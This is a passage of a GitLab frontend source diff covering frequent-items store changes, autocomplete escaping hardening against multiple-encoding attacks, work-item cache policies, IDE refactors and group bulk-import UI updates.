+ if (AccessorUtilities.canUseLocalStorage()) {
+ try {
+ const storedRawItems = JSON.parse(localStorage.getItem(state.storageKey));
+ localStorage.setItem(
+ state.storageKey,
+ JSON.stringify(storedRawItems.filter((item) => item.id !== itemId)),
+ );
+ dispatch('removeFrequentItemSuccess', itemId);
+ } catch {
+ dispatch('removeFrequentItemError');
+ }
+ } else {
+ dispatch('removeFrequentItemError');
+ }
+};
diff --git a/app/assets/javascripts/frequent_items/store/mutation_types.js b/app/assets/javascripts/frequent_items/store/mutation_types.js
index cbe2c9401ad..9c9346081e9 100644
--- a/app/assets/javascripts/frequent_items/store/mutation_types.js
+++ b/app/assets/javascripts/frequent_items/store/mutation_types.js
@@ -1,9 +1,12 @@
export const SET_NAMESPACE = 'SET_NAMESPACE';
export const SET_STORAGE_KEY = 'SET_STORAGE_KEY';
export const SET_SEARCH_QUERY = 'SET_SEARCH_QUERY';
+export const TOGGLE_ITEMS_LIST_EDITABILITY = 'TOGGLE_ITEMS_LIST_EDITABILITY';
export const REQUEST_FREQUENT_ITEMS = 'REQUEST_FREQUENT_ITEMS';
export const RECEIVE_FREQUENT_ITEMS_SUCCESS = 'RECEIVE_FREQUENT_ITEMS_SUCCESS';
export const RECEIVE_FREQUENT_ITEMS_ERROR = 'RECEIVE_FREQUENT_ITEMS_ERROR';
export const REQUEST_SEARCHED_ITEMS = 'REQUEST_SEARCHED_ITEMS';
export const RECEIVE_SEARCHED_ITEMS_SUCCESS = 'RECEIVE_SEARCHED_ITEMS_SUCCESS';
export const RECEIVE_SEARCHED_ITEMS_ERROR = 'RECEIVE_SEARCHED_ITEMS_ERROR';
+export const RECEIVE_REMOVE_FREQUENT_ITEM_SUCCESS = 'RECEIVE_REMOVE_FREQUENT_ITEM_SUCCESS';
+export const RECEIVE_REMOVE_FREQUENT_ITEM_ERROR = 'RECEIVE_REMOVE_FREQUENT_ITEM_ERROR';
diff --git a/app/assets/javascripts/frequent_items/store/mutations.js b/app/assets/javascripts/frequent_items/store/mutations.js
index eee00243867..65f54e6ed05 100644
--- a/app/assets/javascripts/frequent_items/store/mutations.js
+++ b/app/assets/javascripts/frequent_items/store/mutations.js
@@ -20,6 +20,11 @@ export default {
hasSearchQuery,
});
},
+ [types.TOGGLE_ITEMS_LIST_EDITABILITY](state) {
+ Object.assign(state, {
+ isItemsListEditable: !state.isItemsListEditable,
+ });
+ },
[types.REQUEST_FREQUENT_ITEMS](state) {
Object.assign(state, {
isLoadingItems: true,
@@ -69,4 +74,15 @@ export default {
isFetchFailed: true,
});
},
+ [types.RECEIVE_REMOVE_FREQUENT_ITEM_SUCCESS](state, itemId) {
+ Object.assign(state, {
+ items: state.items.filter((item) => item.id !== itemId),
+ isItemRemovalFailed: false,
+ });
+ },
+ [types.RECEIVE_REMOVE_FREQUENT_ITEM_ERROR](state) {
+ Object.assign(state, {
+ isItemRemovalFailed: true,
+ });
+ },
};
diff --git a/app/assets/javascripts/frequent_items/store/state.js b/app/assets/javascripts/frequent_items/store/state.js
index c5c0b25fdf2..ee94e9cd221 100644
--- a/app/assets/javascripts/frequent_items/store/state.js
+++ b/app/assets/javascripts/frequent_items/store/state.js
@@ -5,5 +5,7 @@ export default ({ dropdownType = '' } = {}) => ({
searchQuery: '',
isLoadingItems: false,
isFetchFailed: false,
+ isItemsListEditable: false,
+ isItemRemovalFailed: false,
items: [],
});
diff --git a/app/assets/javascripts/gfm_auto_complete.js b/app/assets/javascripts/gfm_auto_complete.js
index 293cd2df16f..81da8409873 100644
--- a/app/assets/javascripts/gfm_auto_complete.js
+++ b/app/assets/javascripts/gfm_auto_complete.js
@@ -39,8 +39,18 @@ export const CONTACTS_REMOVE_COMMAND = '/remove_contacts';
* @param string user input
* @return {string} escaped user input
*/
-function escape(string) {
- return lodashEscape(string).replace(/\$/g, '&dollar;');
+export function escape(string) {
+ // To prevent double (or multiple) enconding attack
+ // Decode the user input repeatedly prior to escaping the final decoded string.
+ let encodedString = string;
+ let decodedString = decodeURIComponent(encodedString);
+
+ while (decodedString !== encodedString) {
+ encodedString = decodeURIComponent(decodedString);
+ decodedString = decodeURIComponent(encodedString);
+ }
+
+ return lodashEscape(decodedString.replace(/\$/g, '&dollar;'));
}
export function showAndHideHelper($input, alias = '') {
@@ -106,6 +116,7 @@ export const defaultAutocompleteConfig = {
issues: true,
mergeRequests: true,
epics: true,
+ iterations: true,
milestones: true,
labels: true,
snippets: true,
@@ -209,6 +220,10 @@ class GfmAutoComplete {
[[referencePrefix]] = value.params;
if (/^[@%~]/.test(referencePrefix)) {
tpl += '<%- referencePrefix %>';
+ } else if (/^[*]/.test(referencePrefix)) {
+ // EE-ONLY
+ referencePrefix = '*iteration:';
+ tpl += '<%- referencePrefix %>';
}
}
}
@@ -883,7 +898,8 @@ class GfmAutoComplete {
const atSymbolsWithBar = Object.keys(controllers)
.join('|')
.replace(/[$]/, '\\$&')
- .replace(/([[\]:])/g, '\\$1');
+ .replace(/([[\]:])/g, '\\$1')
+ .replace(/([*])/g, '\\$1');
const atSymbolsWithoutBar = Object.keys(controllers).join('');
const targetSubtext = subtext.split(GfmAutoComplete.regexSubtext).pop();
@@ -912,6 +928,7 @@ GfmAutoComplete.atTypeMap = {
'#': 'issues',
'!': 'mergeRequests',
'&': 'epics',
+ '*iteration:': 'iterations',
'~': 'labels',
'%': 'milestones',
'/': 'commands',
diff --git a/app/assets/javascripts/graphql_shared/issuable_client.js b/app/assets/javascripts/graphql_shared/issuable_client.js
index 15e7ef7d62c..01cc2fc3018 100644
--- a/app/assets/javascripts/graphql_shared/issuable_client.js
+++ b/app/assets/javascripts/graphql_shared/issuable_client.js
@@ -5,6 +5,7 @@ import { concatPagination } from '@apollo/client/utilities';
import getIssueStateQuery from '~/issues/show/queries/get_issue_state.query.graphql';
import createDefaultClient from '~/lib/graphql';
import typeDefs from '~/work_items/graphql/typedefs.graphql';
+import { WIDGET_TYPE_NOTES } from '~/work_items/constants';
export const config = {
typeDefs,
@@ -22,10 +23,30 @@ export const config = {
},
},
},
+ WorkItemWidgetNotes: {
+ fields: {
+ // If we add any key args, the discussions field becomes discussions({"filter":"ONLY_ACTIVITY","first":10}) and
+ // kills any possibility to handle it on the widget level without hardcoding a string.
+ discussions: {
+ keyArgs: false,
+ },
+ },
+ },
+ WorkItemWidgetProgress: {
+ fields: {
+ progress: {
+ // We want to show null progress as 0 as per https://gitlab.com/gitlab-org/gitlab/-/issues/386117
+ read(existing) {
+ return existing === null ? 0 : existing;
+ },
+ },
+ },
+ },
WorkItem: {
fields: {
+ // widgets policy because otherwise the subscriptions invalidate the cache
widgets: {
- merge(existing = [], incoming) {
+ merge(existing = [], incoming, context) {
if (existing.length === 0) {
return incoming;
}
@@ -33,6 +54,24 @@ export const config = {
const incomingWidget = incoming.find(
(w) => w.type && w.type === existingWidget.type,
);
+ // We don't want to override existing notes with empty widget on work item updates
+ if (incomingWidget?.type === WIDGET_TYPE_NOTES && !context.variables.pageSize) {
+ return existingWidget;
+ }
+ // we want to concat next page of discussions to the existing ones
+ if (incomingWidget?.type === WIDGET_TYPE_NOTES && context.variables.after) {
+ // concatPagination won't work because we were placing new widget here so we have to do this manually
+ return {
+ ...incomingWidget,
+ discussions: {
+ ...incomingWidget.discussions,
+ nodes: [
+ ...existingWidget.discussions.nodes,
+ ...incomingWidget.discussions.nodes,
+ ],
+ },
+ };
+ }
return incomingWidget || existingWidget;
});
},
diff --git a/app/assets/javascripts/graphql_shared/possible_types.json b/app/assets/javascripts/graphql_shared/possible_types.json
index 5467105ac3c..a622b342c0a 100644
--- a/app/assets/javascripts/graphql_shared/possible_types.json
+++ b/app/assets/javascripts/graphql_shared/possible_types.json
@@ -153,8 +153,9 @@
"WorkItemWidgetMilestone",
"WorkItemWidgetNotes",
"WorkItemWidgetProgress",
+ "WorkItemWidgetRequirementLegacy",
"WorkItemWidgetStartAndDueDate",
"WorkItemWidgetStatus",
"WorkItemWidgetWeight"
]
-} \ No newline at end of file
+}
diff --git a/app/assets/javascripts/groups_select.js b/app/assets/javascripts/groups_select.js
deleted file mode 100644
index fb0c47fe018..00000000000
--- a/app/assets/javascripts/groups_select.js
+++ /dev/null
@@ -1,122 +0,0 @@
-import Vue from 'vue';
-import $ from 'jquery';
-import { escape } from 'lodash';
-import GroupSelect from '~/vue_shared/components/group_select/group_select.vue';
-import { groupsPath } from '~/vue_shared/components/group_select/utils';
-import { __ } from '~/locale';
-import Api from './api';
-import { loadCSSFile } from './lib/utils/css_utils';
-import { select2AxiosTransport } from './lib/utils/select2_utils';
-
-const initVueSelect = () => {
- [...document.querySelectorAll('.ajax-groups-select')].forEach((el) => {
- const { parentId: parentGroupID, groupsFilter, inputId } = el.dataset;
-
- return new Vue({
- el,
- components: {
- GroupSelect,
- },
- render(createElement) {
- return createElement(GroupSelect, {
- props: {
- inputName: el.name,
- initialSelection: el.value || null,
- parentGroupID,
- groupsFilter,
- inputId,
- clearable: el.classList.contains('allowClear'),
- },
- });
- },
- });
- });
-};
-
-const groupsSelect = () => {
- loadCSSFile(gon.select2_css_path)
- .then(() => {
- // Needs to be accessible in rspec
- window.GROUP_SELECT_PER_PAGE = 20;
-
- $('.ajax-groups-select').each(function setAjaxGroupsSelect2() {
- const $select = $(this);
- const allAvailable = $select.data('allAvailable');
- const skipGroups = $select.data('skipGroups') || [];
- const parentGroupID = $select.data('parentId');
- const groupsFilter = $select.data('groupsFilter');
- const minAccessLevel = $select.data('minAccessLevel');
-
- $select.select2({
- placeholder: __('Search for a group'),
- allowClear: $select.hasClass('allowClear'),
- multiple: $select.hasClass('multiselect'),
- minimumInputLength: 0,
- ajax: {
- url: Api.buildUrl(groupsPath(groupsFilter, parentGroupID)),
- dataType: 'json',
- quietMillis: 250,
- transport: select2AxiosTransport,
- data(search, page) {
- return {
- search,
- page,
- per_page: window.GROUP_SELECT_PER_PAGE,
- all_available: allAvailable,
- min_access_level: minAccessLevel,
- };
- },
- results(data, page) {
- const groups = data.length ? data : data.results || [];
- const more = data.pagination ? data.pagination.more : false;
- const results = groups.filter((group) => skipGroups.indexOf(group.id) === -1);
-
- return {
- results,
- page,
- more,
- };
- },
- },
- // eslint-disable-next-line consistent-return
- initSelection(element, callback) {
- const id = $(element).val();
- if (id !== '') {
- return Api.group(id, callback);
- }
- },
- formatResult(object) {
- return `<div class='group-result'> <div class='group-name'>${escape(
- object.full_name,
- )}</div> <div class='group-path'>${object.full_path}</div> </div>`;
- },
- formatSelection(object) {
- return escape(object.full_name);
- },
- dropdownCssClass: 'ajax-groups-dropdown select2-infinite',
- // we do not want to escape markup since we are displaying html in results
- escapeMarkup(m) {
- return m;
- },
- });
-
- $select.on('select2-loaded', () => {
- const dropdown = document.querySelector('.select2-infinite .select2-results');
- dropdown.style.height = `${Math.floor(dropdown.scrollHeight)}px`;
- });
- });
- })
- .catch(() => {});
-};
-
-export default () => {
- if ($('.ajax-groups-select').length) {
- if (gon.features?.vueGroupSelect) {
- initVueSelect();
- } else {
- import(/* webpackChunkName: 'select2' */ 'select2/select2')
- .then(groupsSelect)
- .catch(() => {});
- }
- }
-};
diff --git a/app/assets/javascripts/ide/components/repo_editor.vue b/app/assets/javascripts/ide/components/repo_editor.vue
index 3c9c0b1ade1..b95f8bb5acb 100644
--- a/app/assets/javascripts/ide/components/repo_editor.vue
+++ b/app/assets/javascripts/ide/components/repo_editor.vue
@@ -27,7 +27,6 @@ import { performanceMarkAndMeasure } from '~/performance/utils';
import ContentViewer from '~/vue_shared/components/content_viewer/content_viewer.vue';
import { viewerInformationForPath } from '~/vue_shared/components/content_viewer/lib/viewer_utils';
import DiffViewer from '~/vue_shared/components/diff_viewer/diff_viewer.vue';
-import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import {
leftSidebarViews,
viewerTypes,
@@ -55,7 +54,6 @@ export default {
DiffViewer,
FileTemplatesBar,
},
- mixins: [glFeatureFlagMixin()],
props: {
file: {
type: Object,
@@ -474,7 +472,7 @@ export default {
this.editor.registerCiSchema();
};
- if (this.isCiConfigFile && this.glFeatures.schemaLinting) {
+ if (this.isCiConfigFile) {
registerLocalSchema();
} else {
if (this.CiSchemaExtension) {
diff --git a/app/assets/javascripts/ide/lib/gitlab_web_ide/get_base_config.js b/app/assets/javascripts/ide/lib/gitlab_web_ide/get_base_config.js
index fbd2ce4ce69..dbb68b7facd 100644
--- a/app/assets/javascripts/ide/lib/gitlab_web_ide/get_base_config.js
+++ b/app/assets/javascripts/ide/lib/gitlab_web_ide/get_base_config.js
@@ -1,7 +1,12 @@
-import { cleanEndingSeparator } from '~/lib/utils/url_utility';
+import { cleanEndingSeparator, joinPaths } from '~/lib/utils/url_utility';
const getBaseUrl = () => {
- const baseUrlObj = new URL(process.env.GITLAB_WEB_IDE_PUBLIC_PATH, window.location.origin);
+ const path = joinPaths(
+ '/',
+ window.gon.relative_url_root || '',
+ process.env.GITLAB_WEB_IDE_PUBLIC_PATH,
+ );
+ const baseUrlObj = new URL(path, window.location.origin);
return cleanEndingSeparator(baseUrlObj.href);
};
diff --git a/app/assets/javascripts/ide/stores/modules/commit/actions.js b/app/assets/javascripts/ide/stores/modules/commit/actions.js
index cbc6e0fe519..d490b8c5dad 100644
--- a/app/assets/javascripts/ide/stores/modules/commit/actions.js
+++ b/app/assets/javascripts/ide/stores/modules/commit/actions.js
@@ -183,7 +183,11 @@ export const commitChanges = ({ commit, state, getters, dispatch, rootState, roo
dispatch(
'redirectToUrl',
- createNewMergeRequestUrl(currentProject.web_url, branchName, targetBranch),
+ createNewMergeRequestUrl(
+ currentProject.web_url,
+ encodeURIComponent(branchName),
+ encodeURIComponent(targetBranch),
+ ),
{ root: true },
);
}
diff --git a/app/assets/javascripts/ide/stores/modules/pipelines/actions.js b/app/assets/javascripts/ide/stores/modules/pipelines/actions.js
index 62476b7fc63..6eb56a68429 100644
--- a/app/assets/javascripts/ide/stores/modules/pipelines/actions.js
+++ b/app/assets/javascripts/ide/stores/modules/pipelines/actions.js
@@ -1,6 +1,6 @@
import axios from 'axios';
import Visibility from 'visibilityjs';
-import httpStatus from '~/lib/utils/http_status';
+import { HTTP_STATUS_NOT_FOUND } from '~/lib/utils/http_status';
import Poll from '~/lib/utils/poll';
import { __ } from '~/locale';
import { rightSidebarViews } from '../../../constants';
@@ -24,7 +24,7 @@ export const forcePipelineRequest = () => {
export const requestLatestPipeline = ({ commit }) => commit(types.REQUEST_LATEST_PIPELINE);
export const receiveLatestPipelineError = ({ commit, dispatch }, err) => {
- if (err.status !== httpStatus.NOT_FOUND) {
+ if (err.status !== HTTP_STATUS_NOT_FOUND) {
dispatch(
'setErrorMessage',
{
diff --git a/app/assets/javascripts/ide/stores/modules/terminal/actions/checks.js b/app/assets/javascripts/ide/stores/modules/terminal/actions/checks.js
index 91645a34a3d..c4198a7427f 100644
--- a/app/assets/javascripts/ide/stores/modules/terminal/actions/checks.js
+++ b/app/assets/javascripts/ide/stores/modules/terminal/actions/checks.js
@@ -1,5 +1,5 @@
import Api from '~/api';
-import httpStatus from '~/lib/utils/http_status';
+import { HTTP_STATUS_FORBIDDEN, HTTP_STATUS_NOT_FOUND } from '~/lib/utils/http_status';
import * as terminalService from '../../../../services/terminals';
import { CHECK_CONFIG, CHECK_RUNNERS, RETRY_RUNNERS_INTERVAL } from '../constants';
import * as messages from '../messages';
@@ -18,7 +18,7 @@ export const receiveConfigCheckError = ({ commit, state }, e) => {
const { status } = e.response;
const { paths } = state;
- const isVisible = status !== httpStatus.FORBIDDEN && status !== httpStatus.NOT_FOUND;
+ const isVisible = status !== HTTP_STATUS_FORBIDDEN && status !== HTTP_STATUS_NOT_FOUND;
commit(types.SET_VISIBLE, isVisible);
const message = messages.configCheckError(status, paths.webTerminalConfigHelpPath);
diff --git a/app/assets/javascripts/ide/stores/modules/terminal/actions/session_controls.js b/app/assets/javascripts/ide/stores/modules/terminal/actions/session_controls.js
index a510ec0847b..874cc5094d3 100644
--- a/app/assets/javascripts/ide/stores/modules/terminal/actions/session_controls.js
+++ b/app/assets/javascripts/ide/stores/modules/terminal/actions/session_controls.js
@@ -1,6 +1,6 @@
import { createAlert } from '~/flash';
import axios from '~/lib/utils/axios_utils';
-import httpStatus, { HTTP_STATUS_UNPROCESSABLE_ENTITY } from '~/lib/utils/http_status';
+import { HTTP_STATUS_NOT_FOUND, HTTP_STATUS_UNPROCESSABLE_ENTITY } from '~/lib/utils/http_status';
import * as terminalService from '../../../../services/terminals';
import { STARTING, STOPPING, STOPPED } from '../constants';
import * as messages from '../messages';
@@ -107,7 +107,7 @@ export const restartSession = ({ state, dispatch, rootState }) => {
const responseStatus = error.response && error.response.status;
// We may have removed the build, in this case we'll just create a new session
if (
- responseStatus === httpStatus.NOT_FOUND ||
+ responseStatus === HTTP_STATUS_NOT_FOUND ||
responseStatus === HTTP_STATUS_UNPROCESSABLE_ENTITY
) {
dispatch('startSession');
diff --git a/app/assets/javascripts/ide/stores/modules/terminal/messages.js b/app/assets/javascripts/ide/stores/modules/terminal/messages.js
index fa1c7f23677..ad7ad35a98c 100644
--- a/app/assets/javascripts/ide/stores/modules/terminal/messages.js
+++ b/app/assets/javascripts/ide/stores/modules/terminal/messages.js
@@ -1,5 +1,5 @@
import { escape } from 'lodash';
-import httpStatus, { HTTP_STATUS_UNPROCESSABLE_ENTITY } from '~/lib/utils/http_status';
+import { HTTP_STATUS_FORBIDDEN, HTTP_STATUS_UNPROCESSABLE_ENTITY } from '~/lib/utils/http_status';
import { __, sprintf } from '~/locale';
export const UNEXPECTED_ERROR_CONFIG = __(
@@ -39,7 +39,7 @@ export const configCheckError = (status, helpUrl) => {
},
false,
);
- } else if (status === httpStatus.FORBIDDEN) {
+ } else if (status === HTTP_STATUS_FORBIDDEN) {
return ERROR_PERMISSION;
}
diff --git a/app/assets/javascripts/import_entities/components/import_status.vue b/app/assets/javascripts/import_entities/components/import_status.vue
index bd69165f0ca..db677c574d1 100644
--- a/app/assets/javascripts/import_entities/components/import_status.vue
+++ b/app/assets/javascripts/import_entities/components/import_status.vue
@@ -7,13 +7,21 @@ import { STATUSES } from '../constants';
const STATISTIC_ITEMS = {
diff_note: __('Diff notes'),
issue: __('Issues'),
+ issue_attachment: s__('GithubImporter|Issue attachments'),
+ issue_event: __('Issue events'),
label: __('Labels'),
+ lfs_object: __('LFS objects'),
+ merge_request_attachment: s__('GithubImporter|Merge request attachments'),
milestone: __('Milestones'),
note: __('Notes'),
+ note_attachment: s__('GithubImporter|Note attachments'),
+ protected_branch: __('Protected branches'),
pull_request: s__('GithubImporter|Pull requests'),
pull_request_merged_by: s__('GithubImporter|PR mergers'),
pull_request_review: s__('GithubImporter|PR reviews'),
+ pull_request_review_request: s__('GithubImporter|PR reviews'),
release: __('Releases'),
+ release_attachment: s__('GithubImporter|Release attachments'),
};
// support both camel case and snake case versions
@@ -93,18 +101,17 @@ export default {
mappedStatus() {
if (this.status === STATUSES.FINISHED) {
const isIncomplete = this.stats && isIncompleteImport(this.stats);
- return {
- icon: 'status-success',
- ...(isIncomplete
- ? {
- text: __('Partial import'),
- variant: 'warning',
- }
- : {
- text: __('Complete'),
- variant: 'success',
- }),
- };
+ return isIncomplete
+ ? {
+ icon: 'status-alert',
+ text: __('Partial import'),
+ variant: 'warning',
+ }
+ : {
+ icon: 'status-success',
+ text: __('Complete'),
+ variant: 'success',
+ };
}
return STATUS_MAP[this.status];
@@ -120,6 +127,8 @@ export default {
return { name: 'status-success', class: 'gl-text-green-400' };
} else if (imported === 0) {
return { name: 'status-scheduled', class: 'gl-text-gray-400' };
+ } else if (this.status === STATUSES.FINISHED) {
+ return { name: 'status-alert', class: 'gl-text-orange-400' };
}
return { name: 'status-running', class: 'gl-text-blue-400' };
diff --git a/app/assets/javascripts/import_entities/import_groups/components/import_actions_cell.vue b/app/assets/javascripts/import_entities/import_groups/components/import_actions_cell.vue
index deaf2654424..8d72942447c 100644
--- a/app/assets/javascripts/import_entities/import_groups/components/import_actions_cell.vue
+++ b/app/assets/javascripts/import_entities/import_groups/components/import_actions_cell.vue
@@ -1,15 +1,27 @@
<script>
-import { GlButton, GlIcon, GlTooltipDirective as GlTooltip } from '@gitlab/ui';
+import {
+ GlButton,
+ GlDropdown,
+ GlDropdownItem,
+ GlIcon,
+ GlTooltipDirective as GlTooltip,
+} from '@gitlab/ui';
export default {
components: {
GlIcon,
GlButton,
+ GlDropdown,
+ GlDropdownItem,
},
directives: {
GlTooltip,
},
props: {
+ isProjectsImportEnabled: {
+ type: Boolean,
+ required: true,
+ },
isFinished: {
type: Boolean,
required: true,
@@ -23,13 +35,32 @@ export default {
required: true,
},
},
+ methods: {
+ importGroup(extraArgs = {}) {
+ this.$emit('import-group', extraArgs);
+ },
+ },
};
</script>
<template>
<span class="gl-white-space-nowrap gl-inline-flex gl-align-items-center">
+ <gl-dropdown
+ v-if="isProjectsImportEnabled && isAvailableForImport"
+ :text="isFinished ? __('Re-import with projects') : __('Import with projects')"
+ :disabled="isInvalid"
+ variant="confirm"
+ category="secondary"
+ data-qa-selector="import_group_button"
+ split
+ @click="importGroup({ migrateProjects: true })"
+ >
+ <gl-dropdown-item @click="importGroup({ migrateProjects: false })">{{
+ isFinished ? __('Re-import without projects') : __('Import without projects')
+ }}</gl-dropdown-item>
+ </gl-dropdown>
<gl-button
- v-if="isAvailableForImport"
+ v-else-if="isAvailableForImport"
:disabled="isInvalid"
variant="confirm"
category="secondary"
diff --git a/app/assets/javascripts/import_entities/import_groups/components/import_table.vue b/app/assets/javascripts/import_entities/import_groups/components/import_table.vue
index 6412f26fde7..c590d832568 100644
--- a/app/assets/javascripts/import_entities/import_groups/components/import_table.vue
+++ b/app/assets/javascripts/import_entities/import_groups/components/import_table.vue
@@ -2,6 +2,8 @@
import {
GlAlert,
GlButton,
+ GlDropdown,
+ GlDropdownItem,
GlEmptyState,
GlIcon,
GlLink,
@@ -15,6 +17,7 @@ import {
import { debounce } from 'lodash';
import { createAlert } from '~/flash';
import { s__, __, n__, sprintf } from '~/locale';
+import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import PaginationBar from '~/vue_shared/components/pagination_bar/pagination_bar.vue';
import HelpPopover from '~/vue_shared/components/help_popover.vue';
import { getGroupPathAvailability } from '~/rest_api';
@@ -47,6 +50,8 @@ export default {
components: {
GlAlert,
GlButton,
+ GlDropdown,
+ GlDropdownItem,
GlEmptyState,
GlIcon,
GlLink,
@@ -65,6 +70,7 @@ export default {
directives: {
GlTooltip: GlTooltipDirective,
},
+ mixins: [glFeatureFlagsMixin()],
props: {
sourceUrl: {
type: String,
@@ -128,32 +134,36 @@ export default {
{
key: 'webUrl',
label: s__('BulkImport|Source group'),
- thClass: `${DEFAULT_TH_CLASSES} gl-pl-0! import-jobs-from-col`,
+ thClass: `${DEFAULT_TH_CLASSES} gl-pl-0! gl-w-half`,
// eslint-disable-next-line @gitlab/require-i18n-strings
tdClass: `${DEFAULT_TD_CLASSES} gl-pl-0!`,
},
{
key: 'importTarget',
label: s__('BulkImport|New group'),
- thClass: `${DEFAULT_TH_CLASSES} import-jobs-to-col`,
+ thClass: `${DEFAULT_TH_CLASSES} gl-w-half`,
tdClass: DEFAULT_TD_CLASSES,
},
{
key: 'progress',
label: __('Status'),
- thClass: `${DEFAULT_TH_CLASSES} import-jobs-status-col`,
+ thClass: `${DEFAULT_TH_CLASSES}`,
tdClass: DEFAULT_TD_CLASSES,
tdAttr: { 'data-qa-selector': 'import_status_indicator' },
},
{
key: 'actions',
label: '',
- thClass: `${DEFAULT_TH_CLASSES} import-jobs-cta-col`,
+ thClass: `${DEFAULT_TH_CLASSES}`,
tdClass: DEFAULT_TD_CLASSES,
},
],
computed: {
+ isProjectsImportEnabled() {
+ return Boolean(this.glFeatures.bulkImportProjects);
+ },
+
groups() {
return this.bulkImportSourceGroups?.nodes ?? [];
},
@@ -260,7 +270,7 @@ export default {
const table = this.getTableRef();
const matches = new Set();
this.groups.forEach((g, idx) => {
- if (!this.importGroups[g.id]) {
+ if (!this.importTargets[g.id]) {
this.setDefaultImportTarget(g);
}
@@ -375,13 +385,14 @@ export default {
}
},
- importSelectedGroups() {
+ importSelectedGroups(extraArgs = {}) {
const importRequests = this.groupsTableData
.filter((group) => this.selectedGroupsIds.includes(group.id))
.map((group) => ({
sourceGroupId: group.id,
targetNamespace: group.importTarget.targetNamespace.fullPath,
newName: group.importTarget.newName,
+ ...extraArgs,
}));
this.importGroups(importRequests);
@@ -521,6 +532,7 @@ export default {
gitlabLogo: window.gon.gitlab_logo,
PAGE_SIZES,
permissionsHelpPath: helpPagePath('user/permissions', { anchor: 'group-members-permissions' }),
+ betaFeatureHelpPath: helpPagePath('policy/alpha-beta-support', { anchor: 'beta-features' }),
popoverOptions: { title: __('What is listed here?') },
i18n,
LOCAL_STORAGE_KEY: 'gl-bulk-imports-status-page-size-v1',
@@ -637,7 +649,7 @@ export default {
</gl-empty-state>
<template v-else>
<div
- class="gl-bg-gray-10 gl-border-solid gl-border-gray-200 gl-border-0 gl-border-b-1 gl-px-4 gl-display-flex gl-align-items-center import-table-bar"
+ class="gl-bg-gray-10 gl-border-solid gl-border-gray-200 gl-border-0 gl-border-b-1 gl-px-4 gl-display-flex gl-align-items-center gl-sticky gl-z-index-3 import-table-bar"
>
<span data-test-id="selection-count">
<gl-sprintf :message="__('%{count} selected')">
@@ -646,7 +658,22 @@ export default {
</template>
</gl-sprintf>
</span>
+ <gl-dropdown
+ v-if="isProjectsImportEnabled"
+ :text="s__('BulkImport|Import with projects')"
+ :disabled="!hasSelectedGroups"
+ variant="confirm"
+ category="primary"
+ class="gl-ml-4"
+ split
+ @click="importSelectedGroups({ migrateProjects: true })"
+ >
+ <gl-dropdown-item @click="importSelectedGroups({ migrateProjects: false })">
+ {{ s__('BulkImport|Import without projects') }}
+ </gl-dropdown-item>
+ </gl-dropdown>
<gl-button
+ v-else
category="primary"
variant="confirm"
class="gl-ml-4"
@@ -654,6 +681,22 @@ export default {
@click="importSelectedGroups"
>{{ s__('BulkImport|Import selected') }}</gl-button
>
+ <span class="gl-ml-3">
+ <gl-icon name="information-o" :size="12" class="gl-text-blue-600" />
+ <gl-sprintf
+ :message="
+ s__(
+ 'BulkImport|Importing projects is a %{docsLinkStart}Beta%{docsLinkEnd} feature.',
+ )
+ "
+ >
+ <template #docsLink="{ content }"
+ ><gl-link :href="$options.betaFeatureHelpPath" target="_blank">{{
+ content
+ }}</gl-link></template
+ >
+ </gl-sprintf>
+ </span>
</div>
<gl-table
ref="table"
@@ -661,6 +704,7 @@ export default {
data-qa-selector="import_table"
:tbody-tr-class="rowClasses"
:tbody-tr-attr="qaRowAttributes"
+ thead-class="gl-sticky gl-z-index-2 gl-bg-gray-10"
:items="groupsTableData"
:fields="$options.fields"
selectable
@@ -711,6 +755,7 @@ export default {
</template>
<template #cell(actions)="{ item: group }">
<import-actions-cell
+ :is-projects-import-enabled="isProjectsImportEnabled"
:is-finished="group.flags.isFinished"
:is-available-for-import="group.flags.isAvailableForImport"
:is-invalid="group.flags.isInvalid"
@@ -720,6 +765,7 @@ export default {
sourceGroupId: group.id,
targetNamespace: group.importTarget.targetNamespace.fullPath,
newName: group.importTarget.newName,
+ ...$event,
},
])
"
diff --git a/app/assets/javascripts/import_entities/import_groups/graphql/client_factory.js b/app/assets/javascripts/import_entities/import_groups/graphql/client_factory.js
index 913a5a659b3..de0595360bf 100644
--- a/app/assets/javascripts/import_entities/import_groups/graphql/client_factory.js
+++ b/app/assets/javascripts/import_entities/import_groups/graphql/client_factory.js
@@ -153,6 +153,7 @@ export function createResolvers({ endpoints }) {
source_full_path: op.group.fullPath,
destination_namespace: op.targetNamespace,
destination_name: op.newName,
+ migrate_projects: op.migrateProjects,
})),
});
diff --git a/app/assets/javascripts/import_entities/import_groups/graphql/typedefs.graphql b/app/assets/javascripts/import_entities/import_groups/graphql/typedefs.graphql
index c48e22a7717..83d17a5baa7 100644
--- a/app/assets/javascripts/import_entities/import_groups/graphql/typedefs.graphql
+++ b/app/assets/javascripts/import_entities/import_groups/graphql/typedefs.graphql
@@ -74,6 +74,7 @@ input ImportRequestInput {
sourceGroupId: ID!
targetNamespace: String!
newName: String!
+ migrateProjects: Boolean!
}
extend type Mutation {
diff --git a/app/assets/javascripts/import_entities/import_projects/components/provider_repo_table_row.vue b/app/assets/javascripts/import_entities/import_projects/components/provider_repo_table_row.vue
index b8faf349375..da5dcfa71e3 100644
--- a/app/assets/javascripts/import_entities/import_projects/components/provider_repo_table_row.vue
+++ b/app/assets/javascripts/import_entities/import_projects/components/provider_repo_table_row.vue
@@ -140,7 +140,7 @@ export default {
>
<template v-if="repo.importSource.target">{{ repo.importSource.target }}</template>
<template v-else-if="isImportNotStarted">
- <div class="import-entities-target-select gl-display-flex gl-align-items-stretch gl-w-full">
+ <div class="gl-display-flex gl-align-items-stretch gl-w-full">
<import-group-dropdown #default="{ namespaces }" :text="importTarget.targetNamespace">
<template v-if="namespaces.length">
<gl-dropdown-section-header>{{ __('Groups') }}</gl-dropdown-section-header>
@@ -161,7 +161,7 @@ export default {
}}</gl-dropdown-item>
</import-group-dropdown>
<div
- class="import-entities-target-select-separator gl-px-3 gl-display-flex gl-align-items-center gl-border-solid gl-border-0 gl-border-t-1 gl-border-b-1"
+ class="gl-px-3 gl-display-flex gl-align-items-center gl-border-solid gl-border-0 gl-border-t-1 gl-border-b-1"
>
/
</div>
diff --git a/app/assets/javascripts/import_entities/import_projects/index.js b/app/assets/javascripts/import_entities/import_projects/index.js
index 197fb03af2c..485511510f7 100644
--- a/app/assets/javascripts/import_entities/import_projects/index.js
+++ b/app/assets/javascripts/import_entities/import_projects/index.js
